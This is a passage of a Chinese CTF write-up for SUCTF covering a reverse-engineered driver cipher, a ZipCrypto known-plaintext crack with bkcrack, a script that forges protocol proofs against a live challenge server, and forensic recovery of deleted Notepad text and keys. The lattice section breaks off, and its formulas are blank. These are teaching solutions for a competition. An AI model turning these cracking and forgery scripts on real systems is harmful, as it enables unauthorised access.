print("flag:", flag)
print("inputs_csv:")
print(csv)

res = subprocess.run([EXE_PATH, csv], capture_output=True, text=True)
print("\n=== VERIFY ===")
print("exit:", res.returncode)
print(res.stdout.strip())
if res.stderr.strip():
print(res.stderr.strip())

if __name__ == "__main__":
main()

SUCTF{y0u_h4v3_0v3rc0m3_81_d1ff1cu1t135}

SU_Revird

  1. chal.exe 入口与真实逻辑

chal.exe 的关键入口在 sub_7FF6042C2F00,真正校验逻辑在 sub_7FF6042C20E0

该函数流程:

  1. 读取嵌入密文(大小 0x4410)。
  2. 用自定义 AES-like 逆流程解密(S-box 在 0x4310,种子在 0x4420/0x8840,密文从 0x4430 开始)。
  3. 得到可执行 PE 载荷并手动映射执行。

恢复得到的载荷文件为 payload_custom.binMZ 正常,PKCS7 正常)。

img

  1. payload_custom.bin 行为

主流程(main):

  1. 读取用户输入。
  2. 打开设备 \\\\.\\Revird
  3. 调用核心函数 sub_140001570 生成 64 字节输出。
  4. 与常量 Buf2_0x1400043C0)比较:memcmp(Buf1, Buf2_, 0x40)
  5. 只有比较相等且输出长度为 64 才通过。

sub_140001570 要点:

  • 输入先做 PKCS7 风格补齐到 16 的倍数,且总长必须 <= 64
  • 每个块 16 字节,整体是 4 块。
  • 算法拆分到用户态 + 驱动态,通过异常分发间接触发 DeviceIoControl(0x222000)

关键常量:

  • Buf2_ @ 0x1400043C0(64 字节目标密文)
  • payload_sbox @ 0x1400042B0
  • payload_rcon @ 0x1400043B0
  • payload_key_seed @ 0x140004400
  • payload_iv @ 0x140004410
  • Revird.sys 核心还原

IOCTL 核心在 sub_140001D64,根据 type 执行不同 case:

  • case 2:字节替换(带 byte_140003360 和 16 字节掩码)
  • case 3:sub_140001980(ShiftRows-like)
  • case 4:sub_1400017A0(MixColumns-like)后异或轮密钥
  • case 5:与首轮密钥异或
  • case 6:与末轮密钥异或

关键函数:

  • sub_1400014B0:AES-128 风格扩展(176 字节)
  • sub_1400011C0:按 (round, block) 生成 16 字节伪随机流
  • sub_140001748:16 字节 XOR

DriverEntry 中执行:

  • sub_1400014B0(&unk_140003348, &unk_1400040A0)

即:0x3348 是源种子,0x40A0 是扩展结果存放区(这一点非常关键)。

  1. 去混淆常量化

驱动内若干混淆函数本质可化简:

  • sub_140001000() 返回 0
  • sub_140001004() 返回 2
  • sub_140001008() 返回 7
  • byte_140004000..005 = 1,3,4,7,8,9

所以 sub_1400012B4 / sub_14000135C / sub_140001404 的复杂判断退化为恒等约束,不影响实际密码流程。

  1. 实际加密模型

每块流程(块索引 b)可写成:

  1. state = plaintext_block ^ prev_cipher (CBC)
  2. state ^= drv_rk[0] ^ payload_rk[0]
  3. r = 1..9
    1. state = S[state](逐字节替换)
    2. state = ShiftRows(ShiftRows(state))(做两次)
    3. state = MixColumns(state)
    4. state ^= drv_rk[r] ^ payload_rk[r]
  4. 最后一轮 r=10
    1. state = S[state]
    2. state = ShiftRows(ShiftRows(state))
    3. state ^= drv_rk[10] ^ payload_rk[10]
  5. 输出该块密文,并更新 CBC 链。

其中:

  • S[x] = drv_table_3360[x] ^ lcg_table[x]
  • lcg_table 来自 0xC0FFEE13 线性同余生成 256 字节(取高字节)
  • S 是 256 置换,可逆。
  • 关键坑点
  1. 不能把 sub_1400014B0 理解成“扩展回写源地址”,实际是写到第二个参数(0x40A0)。
  2. sub_140001000 末字节生成路径有 8-bit 细节,照汇编还原。
  3. ShiftRows 必须按驱动中列主序实现,且每轮是“双 ShiftRows”。
  4. 初始异或是 drv_rk[0] ^ payload_rk[0],不是只异或单侧。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
#!/usr/bin/env python3
from __future__ import annotations

import argparse
from pathlib import Path

import pefile

def read_va(pe: pefile.PE, va: int, size: int) -> bytes:
rva = va - pe.OPTIONAL_HEADER.ImageBase
data = pe.get_data(rva, size)
if len(data) != size:
raise ValueError(f"short read @ {hex(va)}: want={size}, got={len(data)}")
return data

def lcg_table() -> list[int]:
x = 0xC0FFEE13
out = []
for _ in range(256):
x = (x * 0x19660D + 0x3C6EF35F) & 0xFFFFFFFF
out.append((x >> 24) & 0xFF)
return out

def expand_key(seed16: bytes, sbox: bytes, rcon: bytes) -> list[list[int]]:
w = list(seed16) + [0] * 160
j = 16
while j < 176:
b0, b1, b2, b3 = w[j - 4], w[j - 3], w[j - 2], w[j - 1]
if j % 16 == 0:
b0, b1, b2, b3 = rcon[j // 16] ^ sbox[b1], sbox[b2], sbox[b3], sbox[b0]
w[j + 0] = b0 ^ w[j - 16]
w[j + 1] = b1 ^ w[j - 15]
w[j + 2] = b2 ^ w[j - 14]
w[j + 3] = b3 ^ w[j - 13]
j += 4
return [w[i : i + 16] for i in range(0, 176, 16)]

def gmul(a: int, b: int) -> int:
p = 0
for _ in range(8):
if b & 1:
p ^= a
hi = a & 0x80
a = (a << 1) & 0xFF
if hi:
a ^= 0x1B
b >>= 1
return p

def mix_columns(state: list[int]) -> list[int]:
s = state[:]
for i in range(4):
a0, a1, a2, a3 = s[4 * i : 4 * i + 4]
s[4 * i + 0] = gmul(a0, 2) ^ gmul(a1, 3) ^ a2 ^ a3
s[4 * i + 1] = a0 ^ gmul(a1, 2) ^ gmul(a2, 3) ^ a3
s[4 * i + 2] = a0 ^ a1 ^ gmul(a2, 2) ^ gmul(a3, 3)
s[4 * i + 3] = gmul(a0, 3) ^ a1 ^ a2 ^ gmul(a3, 2)
return s

def inv_mix_columns(state: list[int]) -> list[int]:
s = state[:]
for i in range(4):
a0, a1, a2, a3 = s[4 * i : 4 * i + 4]
s[4 * i + 0] = gmul(a0, 14) ^ gmul(a1, 11) ^ gmul(a2, 13) ^ gmul(a3, 9)
s[4 * i + 1] = gmul(a0, 9) ^ gmul(a1, 14) ^ gmul(a2, 11) ^ gmul(a3, 13)
s[4 * i + 2] = gmul(a0, 13) ^ gmul(a1, 9) ^ gmul(a2, 14) ^ gmul(a3, 11)
s[4 * i + 3] = gmul(a0, 11) ^ gmul(a1, 13) ^ gmul(a2, 9) ^ gmul(a3, 14)
return s

# From Revird.sys sub_140001980
SHIFT_ROWS_PERM = [0, 5, 10, 15, 4, 9, 14, 3, 8, 13, 2, 7, 12, 1, 6, 11]
INV_SHIFT_ROWS_PERM = [0, 13, 10, 7, 4, 1, 14, 11, 8, 5, 2, 15, 12, 9, 6, 3]

def shift_rows(state: list[int]) -> list[int]:
return [state[SHIFT_ROWS_PERM[i]] for i in range(16)]

def inv_shift_rows(state: list[int]) -> list[int]:
return [state[INV_SHIFT_ROWS_PERM[i]] for i in range(16)]

def strip_pkcs7(data: bytes) -> bytes:
if not data:
raise ValueError("empty plaintext")
pad = data[-1]
if pad == 0 or pad > 16 or not data.endswith(bytes([pad]) * pad):
raise ValueError("invalid PKCS7 padding")
return data[:-pad]

def recover_flag(payload_path: Path, driver_path: Path) -> str:
payload = pefile.PE(str(payload_path), fast_load=True)
driver = pefile.PE(str(driver_path), fast_load=True)

# payload_custom.bin constants
payload_sbox = read_va(payload, 0x1400042B0, 256)
payload_rcon = read_va(payload, 0x1400043B0, 16)
target_buf2 = read_va(payload, 0x1400043C0, 64)
payload_key_seed = read_va(payload, 0x140004400, 16)
payload_iv = read_va(payload, 0x140004410, 16)

# Revird.sys constants
drv_key_seed = read_va(driver, 0x140003348, 16)
drv_table_3360 = read_va(driver, 0x140003360, 256)

v93 = lcg_table()
sbox_comp = [drv_table_3360[i] ^ v93[i] for i in range(256)]
if len(set(sbox_comp)) != 256:
raise ValueError("S-box composition is not a permutation")
inv_sbox_comp = {v: i for i, v in enumerate(sbox_comp)}

drv_round_keys = expand_key(drv_key_seed, payload_sbox, payload_rcon)
payload_round_keys = expand_key(payload_key_seed, payload_sbox, payload_rcon)

ct_blocks = [list(target_buf2[i : i + 16]) for i in range(0, len(target_buf2), 16)]
prev = list(payload_iv)
pt_blocks: list[list[int]] = []

for cb in ct_blocks:
state = cb[:]

# Final round inverse
for i in range(16):
state[i] ^= drv_round_keys[10][i] ^ payload_round_keys[10][i]
state = inv_shift_rows(inv_shift_rows(state))
state = [inv_sbox_comp[x] for x in state]

# Round 9..1 inverse
for r in range(9, 0, -1):
for i in range(16):
state[i] ^= drv_round_keys[r][i] ^ payload_round_keys[r][i]
state = inv_mix_columns(state)
state = inv_shift_rows(inv_shift_rows(state))
state = [inv_sbox_comp[x] for x in state]

# Undo initial addroundkey + CBC xor
for i in range(16):
state[i] ^= drv_round_keys[0][i] ^ payload_round_keys[0][i]
state[i] ^= prev[i]

pt_blocks.append(state)
prev = cb

plaintext = bytes(sum(pt_blocks, []))
unpadded = strip_pkcs7(plaintext)
return unpadded.decode("ascii")

def main() -> None:
parser = argparse.ArgumentParser(description="Recover SU_Revird flag")
parser.add_argument("--payload", default="payload_custom.bin", type=Path, help="payload PE path")
parser.add_argument("--driver", default="Revird.sys", type=Path, help="driver sys path")
args = parser.parse_args()

flag = recover_flag(args.payload, args.driver)
print(flag)

if __name__ == "__main__":
main()

SUCTF{D0_y0U_unD3r5t4nd_Th15_m491c4l_435?_41218}

Misc

SU_Signin

粘贴即可

SU_chaos

zip文件发现Zip crypto store

查阅资料:

AVIF 的 ftyp box 只有偏移 4-7 的 ftyp 标记是 100% 固定的,其他部分都会变化:

偏移 内容 是否固定?

0-3 box 大小 ❌ 可能是 0x18, 0x1C, 0x20, 0x24, 0x28…

4-7 66747970 (“ftyp”) ✅ 固定

8-11 major brand ❌ 可能是 avif 或 avis

12-15 minor version ❌ 通常是 00000000 但不保证

16+ compatible brands ❌ 数量和顺序不确定

只有avif和avis两种情况 满足了12字节 可以明文攻击

1
2
3
4
5
6
7
8
9
10
11
./bkcrack -C 12.zip -c challenge.avif -x 4 667479706176697300000000
bkcrack 1.8.1 - 2025-10-25
[09:19:28] Z reduction using 4 bytes of known plaintext
100.0 % (4 / 4)
[09:19:28] Attack on 1251703 Z values at index 11
Keys: b76b3323 6eebbce4 00a94706
50.8 % (636085 / 1251703)
Found a solution. Stopping.
You may resume the attack with the option: --continue-attack 636085
[09:32:10] Keys
b76b3323 6eebbce4 00a94706

最终是avis得到了结果

解压zip文件,观察avif文件,发现有五帧,后四帧组合在一起是汉信码

img

扫出来得到结果:0f87b6f831b312a0b6748c4a792b9362c033c75cc230aae63be2c9cfab12a0e4

再看wav文件

img

binwalk一下 我们需要secret.txt的answer

audacity打开wav文件 戴上耳机听一下 发现双声道

然后分离一下 把一个声道反相一下 再混音

这样就可以两个声道相减

频谱图看到一段明显的断续信号

img

这些信号不是音乐,而是短脉冲和长脉冲。

把中间的信号记录下来,得到:

… ..- .—. . .-. .. -.. —- .-..

SUPERIDOL

接下来带入deepsound 可以得到secret.txt

对话中A说了关键的一句话:

“以诗做表相切,一二三四,阴阳上去,定为声调”

三个关键信息:

关键词 含义

以诗做表 两首诗是查找表(密码本)

相切 使用中国传统音韵学中的反切法

一二三四,阴阳上去 声调编号:1=阴平,2=阳平,3=上声,4=去声

反切法原理:取一个字的声母 + 另一个字的韵母 + 声调 → 拼出一个新字。

第二步:建立查找表

将A和B的诗去掉标点,从 1开始编号(0代表零声母的特殊情况):

A诗(取声母):

Code

1寒 2江 3夜 4阔 5云 6初 7散

8秋 9灯 10入 11梦 12染 13空 14山

15潮 16声 17拍 18岸 19惊 20归 21鹤

22旧 23径 24松 25深 26客 27未 28还

B诗(取韵母):

Code

1星 2沉 3古 4岸 5月 6微 7寒

8竹 9林 10深 11锁 12远 13钟 14音

15长 16江 17如 18练 19横 20天 21际

22画 23轻 24渡 25入 26云 27岚 28(无)

第三步:逐个解码

编码格式为 X-Y-Z:

X → A诗中第X个字,取其声母(0=零声母)

Y → B诗中第Y个字,取其韵母

Z → 声调(1阴平 2阳平 3上声 4去声)

3-21-1

步骤 内容

A[3] = 夜 (yè) 声母:y

B[21] = 际 (jì) 韵母:i

声调:1(阴平) → yī

结果 一

10-21-4

步骤 内容

A[10] = 入 (rù) 声母:r

B[21] = 际 (jì) 韵母:i

声调:4(去声) → rì

结果 日

13-7-4

步骤 内容

A[13] = 空 (kōng) 声母:k

B[7] = 寒 (hán) 韵母:an

声调:4(去声) → kàn

结果 看

2-9-4

步骤 内容

A[2] = 江 (jiāng) 声母:j

B[9] = 林 (lín) 韵母:in

声调:4(去声) → jìn

结果 尽

15-15-2

步骤 内容

A[15] = 潮 (cháo) 声母:ch

B[15] = 长 (cháng) 韵母:ang

声调:2(阳平) → cháng

结果 长

0-28-1

步骤 内容

X=0 零声母(无声母)

B[28] = 岚 (lán) 韵母:an

声调:1(阴平) → ān

结果 安

28-22-1

步骤 内容

A[28] = 还 (huán) 声母:h

B[22] = 画 (huà) 韵母:ua

声调:1(阴平) → huā

结果 花

第四步:组合结果

编码 声母 韵母 声调 拼音 字

3-21-1 y i 1 yī 一

10-21-4 r i 4 rì 日

13-7-4 k an 4 kàn 看

2-9-4 j in 4 jìn 尽

15-15-2 ch ang 2 cháng 长

0-28-1 ∅ an 1 ān 安

28-22-1 h ua 1 huā 花

一日看尽长安花

解开flag.txt 发现里面的内容

1
$zip2$*0*3*0*ee1f6cc09449ea4174cb45bd0d667d1c*258b*1c*0a6bd41815d0d2af8b30c25ce506b2ead194b0f3c4186913c80d2a2b*408973cbd18faafa7355*$/zip2$

这种 格式是 John the Ripper (JtR) 专门用于处理 WinZip AES 加密文件的格式。

再想到之前还没用过的汉信码解码结果

长度为 64 个字符。由于是十六进制,这意味着它代表 位的二进制数据。

推测:这极有可能不是密码(Password),而是直接给出的 AES-256 密钥(Master Key)

为了理解如何解密,我们需要搞清楚 hash.txt 中每一段数据的含义。查阅 John the Ripper 的源码(zip2john.c),我们可以找到 格式的定义:

1
// filename:$zip2$*Ty*Mo*Ma*Sa*Va*Le*DF*Au*$/zip2$

对照我们的 hash.txt 进行拆解:

字段 值 (Hex) 含义 分析
Header 格式头 JtR 格式标识
Ty 0 Type 类型 0
Mo 3 Mode AES-256 (1=128bit, 2=192bit, 3=256bit)
Ma 0 Magic 保留字段
Sa ee1f... Salt 盐值 (16字节),用于 PBKDF2 派生密钥
Va 258b Verifier 密码验证值 (2字节),用于快速验证密码正确性
Le 1c Length 加密数据长度 (Hex 1c = 28 字节)
DF 0a6b... Data Field 核心加密数据 (28 字节)
Au 4089... Auth Code HMAC 认证码 (10 字节),用于完整性校验

对于较小的文件,zip2john 会将整个加密后的文件内容直接存储在 DF 字段中。这意味着我们不需要原始的 ZIP 文件,仅凭 hash.txt 就拥有了解密所需的所有密文数据。

最终脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import binascii
import struct
import zlib
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend

def solve():
# 1. 读取AES密钥(256位)
key_hex = "0f87b6f831b312a0b6748c4a792b9362c033c75cc230aae63be2c9cfab12a0e4"
key = binascii.unhexlify(key_hex)

# 2. 从hash中提取加密的负载 (DF字段)
ciphertext_hex = "0a6bd41815d0d2af8b30c25ce506b2ead194b0f3c4186913c80d2a2b"
ciphertext = binascii.unhexlify(ciphertext_hex)

# 3. WinZip AES使用CTR模式,计数器从1开始,采用小端序
keystream = b""
cipher = Cipher(algorithms.AES(key), modes.ECB(), backend=default_backend())
encryptor = cipher.encryptor()

blocks = (len(ciphertext) + 15) // 16
for i in range(1, blocks + 1):
# 构造16字节的计数器 (小端序)
counter = struct.pack('<Q', i) + struct.pack('<Q', 0)
keystream += encryptor.update(counter)

# 4. 异或解密得到Deflate压缩的明文
plaintext_compressed = bytes(a ^ b for a, b in zip(ciphertext, keystream))

# 5. raw deflate解压 (-15参数)
flag = zlib.decompress(plaintext_compressed, -15)

print(f"[+] 成功解密!\nFlag: {flag.decode('utf-8')}")

if __name__ == "__main__":
solve()

Flag: SUCTF{f4ll1g_t0_the_C6a0s}

SU_mirrorbus9

服务端会返回类似如下内容:

1
F cid=1 tick=2 lane=0 sig=23209 aux=33113 tag=CHAL nonce=8f5041b44df6 ttl=192

这里面最关键的字段是:sig,aux,tag=CHAL,nonce,ttl=192

交互验证后可以确定:PROVE nonce ttl 0 会报 bad_int_p1

1
PROVE sig aux 0` 会报 `bad_proof

因此:

1
PROVE <sig> <aux> <checksum16>

才是正确格式。

也就是说:

参数 1 必须是 CHAL 中的 sig

参数 2 必须是 CHAL 中的 aux

参数 3 才是真正需要伪造的 16 位 proof/checksum

题目并不是直接给出 CHAL,而是要先通过一轮 ARM 流程。

经过测试可以发现,对于两个注入位置的值,返回的 sig/aux 在模 65521 下近似形成了一个二维仿射映射。

对两个注入坐标进行如下测试:

1
2
3
(0, 0)
(1, 0)
(0, 1)

分别记返回结果为:

1
2
3
(s0, a0)
(s1, a1)
(s2, a2)

然后构造增量:

1
2
3
4
ds1 = (s1 - s0) mod 65521
da1 = (a1 - a0) mod 65521
ds2 = (s2 - s0) mod 65521
da2 = (a2 - a0) mod 65521

我们的目标是构造新的注入值 (x, y),让输出落到特殊点 (0, 0),也就是:

1
2
s0 + x * ds1 + y * ds2 == 0 (mod 65521)
a0 + x * da1 + y * da2 == 0 (mod 65521)

对应行列式为:

1
det = ds1 * da2 - ds2 * da1 (mod 65521)

只要 det != 0,就能计算模逆:

1
2
def minv(v):
return pow(v, 65521 - 2, 65521)

然后求出:

1
2
3
4
5
inv = det^{-1} mod 65521
ts = (0 - s0) mod 65521
ta = (0 - a0) mod 65521
x = (ts * da2 - ta * ds2) * inv mod 65521
y = (ds1 * ta - ts * da1) * inv mod 65521

把这组 (x, y) 作为新的注入发送给服务端后,就能比较稳定地获得 tag=CHAL 的挑战帧。

这题最容易错的地方,是误把 PROVE 当成对 ARM 内部状态的验证。

实际并不是这样。

根据协议行为和题目提示,可以确认:

1
PROVE` 前两个参数取自 `CHAL

第三个参数是一个包含 nonce 的 16 位校验值

所以真正被校验的是 CHAL frame,而不是前面送进 ARM 的注入值。

一旦认识到这一点,题目的目标就非常明确了:

1
先拿到 CHAL,再伪造 PROVE

CHAL 中有一个很重要的字段:

1
ttl=192

这个字段不是摆设。实际测试表明,一个 challenge 最多只能接受大约 192 次交互;超过以后就会出现:

1
ERR code=E_STATE msg=no_active_challenge

也就是说:

单个 challenge 最多只能尝试 192 个 PROVE

但第三个参数是一个 16 位值,空间大小为 65536

因此不可能在一个连接里完整爆破:因为65536 >> 192

分块暴力虽然可行,但开销比较大,而且高度依赖网络质量。

题目提示说:第三个参数是一个“包含 nonce 的 16 位校验值”。这说明它未必是完全随机的,而可能是某种常见 checksum / crc / sum 变体。

因此,自然会想到:

不去扫完 65536

而是只构造 192 个高质量候选

恰好吃满一个 challenge 的 ttl

完整代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
import itertools
import binascii
import zlib
from pwn import *
import re

def fletcher16(data):
s1, s2 = 0, 0
for b in data:
s1 = (s1 + b) % 255
s2 = (s2 + s1) % 255
return (s2 << 8) | s1

def crc16_ccitt(data):
crc = 0xFFFF
for b in data:
crc ^= b << 8
for _ in range(8):
if crc & 0x8000:
crc = (crc << 1) ^ 0x1021
else:
crc = crc << 1
crc &= 0xFFFF
return crc

def minv(v):
return pow(v, 65521 - 2, 65521)

def do_test():
try:
r = remote('1.95.73.223', 10011, level='error')
r.recvuntil(b'session\n')

def extract_sig_aux(s):
lines = s.strip().split('\n')
for line in reversed(lines):
if 'tag=ARM_FAIL' in line or 'tag=CHAL' in line:
m = re.search(r'sig=(\d+)\s+aux=(\d+)', line)
if m:
return int(m.group(1)), int(m.group(2))
return 0, 0

r.send(b'RESET\nENQ INJ 0 0\nENQ INJ 1 0\nENQ ARM\nCOMMIT\nPOLL 128\n')
s0, a0 = extract_sig_aux(r.recvuntil(b'END\n').decode())
r.send(b'RESET\nENQ INJ 0 1\nENQ INJ 1 0\nENQ ARM\nCOMMIT\nPOLL 128\n')
s1, a1 = extract_sig_aux(r.recvuntil(b'END\n').decode())
r.send(b'RESET\nENQ INJ 0 0\nENQ INJ 1 1\nENQ ARM\nCOMMIT\nPOLL 128\n')
s2, a2 = extract_sig_aux(r.recvuntil(b'END\n').decode())

ds1 = (s1 - s0) % 65521
da1 = (a1 - a0) % 65521
ds2 = (s2 - s0) % 65521
da2 = (a2 - a0) % 65521
det = (ds1 * da2 - ds2 * da1) % 65521

if det == 0:
return

inv = minv(det)
ts = (0 - s0) % 65521
ta = (0 - a0) % 65521
x = (ts * da2 - ta * ds2) % 65521
x = (x * inv) % 65521
y = (ds1 * ta - ts * da1) % 65521
y = (y * inv) % 65521

r.send(f'RESET\nENQ INJ 0 {x}\nENQ INJ 1 {y}\nENQ ARM\nCOMMIT\nPOLL 128\n'.encode())
ans = r.recvuntil(b'END\n').decode()
sig, aux, nonce = 0, 0, ''
for line in ans.split('\n'):
if 'tag=CHAL' in line:
m = re.search(r'sig=(\d+)\s+aux=(\d+).*nonce=(\S+)', line)
if m:
sig, aux, nonce = int(m.group(1)), int(m.group(2)), m.group(3)
if sig == 0:
return

guesses = set()
n_bytes = bytes.fromhex(nonce)
n_str = nonce.encode()

for nd in [n_bytes, n_str]:
for s in [b'', sig.to_bytes(2, 'big'), sig.to_bytes(2, 'little')]:
for a in [b'', aux.to_bytes(2, 'big'), aux.to_bytes(2, 'little')]:
for order in [[s, a, nd], [nd, s, a], [s, nd, a]]:
data = b''.join(order)
guesses.add(sum(data) & 0xFFFF)
guesses.add(zlib.crc32(data) & 0xFFFF)
guesses.add(zlib.adler32(data) & 0xFFFF)
guesses.add(binascii.crc_hqx(data, 0))
guesses.add(binascii.crc_hqx(data, 0xFFFF))
guesses.add(fletcher16(data))
guesses.add(crc16_ccitt(data))

n_int = int(nonce, 16)
guesses.add(n_int & 0xFFFF)
guesses.add((n_int >> 16) & 0xFFFF)
guesses.add((n_int >> 32) & 0xFFFF)
guesses.add(((n_int & 0xFFFF) + ((n_int >> 16) & 0xFFFF) + ((n_int >> 32) & 0xFFFF)) & 0xFFFF)
guesses.add((n_int & 0xFFFF) ^ ((n_int >> 16) & 0xFFFF) ^ ((n_int >> 32) & 0xFFFF))
guesses.add((sig + aux + (n_int & 0xFFFF) + ((n_int >> 16) & 0xFFFF) + ((n_int >> 32) & 0xFFFF)) & 0xFFFF)
guesses.add((sig ^ aux ^ (n_int & 0xFFFF) ^ ((n_int >> 16) & 0xFFFF) ^ ((n_int >> 32) & 0xFFFF)) & 0xFFFF)

g_list = list(guesses)[:192]
print(f"Testing {len(g_list)} algo combinations...")
buf = b""
for i in g_list:
buf += f"PROVE {sig} {aux} {i}\n".encode()
r.send(buf)

res = r.recvall(timeout=2).decode(errors='ignore')
r.close()

if "CTF{" in res or "SUCTF{" in res:
print("WIN!!!")
print(res)
open('win.txt', 'w').write(res)
return True

return False
except Exception:
return False

for i in range(10):
if do_test():
break
print("Finished algo checks.")

SU_forensics

1.设备上次关闭时间是什么时候?请以 UTC+8 时区提供您的答案。(YYYY/MM/DDTHH:MM:SS) 2026/03/05T17:23:06

img

2.记事本删除内容的MD5值(32位小写)。 c1c4c50f51afc97a58385457af43e169

恢复 记事本删除数据/Users/Administrator/AppData/Local/Packages/Microsoft.WindowsNotepad_8wekyb3d8bbwe/LocalState/TabState/992ff4a3-c3e9-401e-9320-82ddc5fa9d31.bin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
from pathlib import Path
import hashlib


def read_uleb(data, offset):
value = 0
shift = 0
while True:
b = data[offset]
offset += 1
value |= (b & 0x7F) << shift
if b < 0x80:
return value, offset
shift += 7


def read_wchars(data, offset, count):
text = data[offset:offset + count * 2].decode("utf-16le", "ignore")
return text, offset + count * 2


def parse_tabstate(path):
data = Path(path).read_bytes()
off = 0

magic = data[off:off + 2]
off += 2

seq, off = read_uleb(data, off)
type_flag, off = read_uleb(data, off)

if type_flag != 0:
raise ValueError(f"Unexpected TypeFlag: {type_flag}")

unk = data[off]
off += 1

selection_start, off = read_uleb(data, off)
selection_end, off = read_uleb(data, off)

wordwrap = data[off]
rtl = data[off + 1]
show_unicode = data[off + 2]
off += 3

more_options, off = read_uleb(data, off)
extra_options = list(data[off:off + more_options])
off += more_options

content_length, off = read_uleb(data, off)
content, off = read_wchars(data, off, content_length)

unsaved_flag = data[off]
off += 1

file_crc32 = int.from_bytes(data[off:off + 4], "little")
off += 4

chunks = []
while off < len(data):
cursor_pos, off = read_uleb(data, off)
deletion_action, off = read_uleb(data, off)
addition_action, off = read_uleb(data, off)
added_chars, off = read_wchars(data, off, addition_action)
chunk_crc32 = int.from_bytes(data[off:off + 4], "little")
off += 4
chunks.append(
{
"cursor": cursor_pos,
"delete": deletion_action,
"add_count": addition_action,
"added": added_chars,
"crc32": chunk_crc32,
}
)

return {
"magic": magic,
"sequence": seq,
"type_flag": type_flag,
"unk": unk,
"selection_start": selection_start,
"selection_end": selection_end,
"wordwrap": wordwrap,
"rtl": rtl,
"show_unicode": show_unicode,
"extra_options": extra_options,
"initial_content": content,
"unsaved_flag": unsaved_flag,
"file_crc32": file_crc32,
"chunks": chunks,
}


def apply_chunk(text, chunk):
cursor = chunk["cursor"]
delete_count = chunk["delete"]
added = chunk["added"]

# delete-at-cursor
text = text[:cursor] + text[cursor + delete_count:]

if added:
text = text[:cursor] + added + text[cursor:]

return text


tab_path = Path(
"/Users/Administrator/AppData/Local/Packages/"
"Microsoft.WindowsNotepad_8wekyb3d8bbwe/LocalState/TabState/"
"992ff4a3-c3e9-401e-9320-82ddc5fa9d31.bin"
)

parsed = parse_tabstate(tab_path)

print("magic =", parsed["magic"])
print("sequence =", parsed["sequence"])
print("type_flag =", parsed["type_flag"])
print("selection =", parsed["selection_start"], parsed["selection_end"])
print("initial_content =", repr(parsed["initial_content"]))
print("unsaved_flag =", parsed["unsaved_flag"])
print("chunk_count =", len(parsed["chunks"]))
print()

text = parsed["initial_content"]
snapshots = {}

for idx, chunk in enumerate(parsed["chunks"], start=1):
text = apply_chunk(text, chunk)
if idx in (249, 270, 386):
snapshots[idx] = text

for idx in (249, 270, 386):
s = snapshots[idx]
print(f"STEP {idx}")
print(repr(s))
print("md5(raw with \\r) =", hashlib.md5(s.encode()).hexdigest())
print("md5(CRLF render) =", hashlib.md5(s.replace('\\r', '\\r\\n').encode()).hexdigest())
print()

img

3.第一密钥是什么? zQt$d3!GIS9l.aR@7ELN

img

4.得到第二密钥的对话id和时间。请以 UTC+8 时区提供您的答案。(时间格式YYYY/MM/DDTHH:MM:SS,两个答案以_相连) 019cbe60-6803-70fe-8ab5-e0035399980f_2026/03/05T22:25:24

img

img

5.最终可以使用的完整密钥的内容。

第一密钥:zQt$d3!GIS9l.aR@7ELN 第二密钥 4dE23eFgH7kLmNpOqRstUvWxYz012345678901234567890123456789 第三密钥(第二密钥2026-03-05 22:25:24.2129715的10位时间戳):1772720724 第四密钥:A9!fK2@pL4#tM6$wN8%yR1^uD3&hJ5*Z

img

按照1-4-3-2组合 zQt$d3!GIS9l.aR@7ELNA9!fK2@pL4#tM6$wN8%yR1^uD3&hJ5*Z17727207244dE23eFgH7kLmNpOqRstUvWxYz012345678901234567890123456789

6.ollama客户端no such host的时间(时间格式YYYY/MM/DDTHH:MM:SS)。 2026/03/05T21:58:17

/Users/Administrator/AppData/Local/Ollama/app.log里面

img

7.为了让本地模型输出固定格式的密钥,嫌疑人最后在某一会话中得到了这个prompt,请提供得到这个promot的messageid。 40854344-3f6e-4464-a07f-b39d42f5adc5

img

1
dfindexeddb log -s /Users/Administrator/AppData/Roaming/CherryStudio/IndexedDB/file__0.indexeddb.leveldb/000003.log -o jsonl

img

Crypto

SU_lattice

一、先逆向分析一下这个ELF(笔者不会逆向,靠的其他师傅和AI)

程序内部维护了一个 24 阶线性递推序列:

其中:

1.论文中的关键性质

是两条由上一步得到的零化多项式,则它们和真实特征多项式 在模 $$$$ 的世界里共享公共因子,因此它们的 resultant 会被 $$$$ 的高次幂整除

更具体地,对 $$$$ 阶递推来说,有:

本题里 ,因此:

2.恢复方法

做法就很自然了:

  1. 从候选零化多项式中取多对;
  2. 计算它们的整数 resultant;
  3. 对这些 resultant 取 gcd;
  4. 如果一切顺利,会得到一个包含 因子的整数;
  5. 对其开 24 次整数根,就能把 $$$$ 恢复出来。

记这些 resultants 为 ,则:

如果恰好有:

那么直接有:

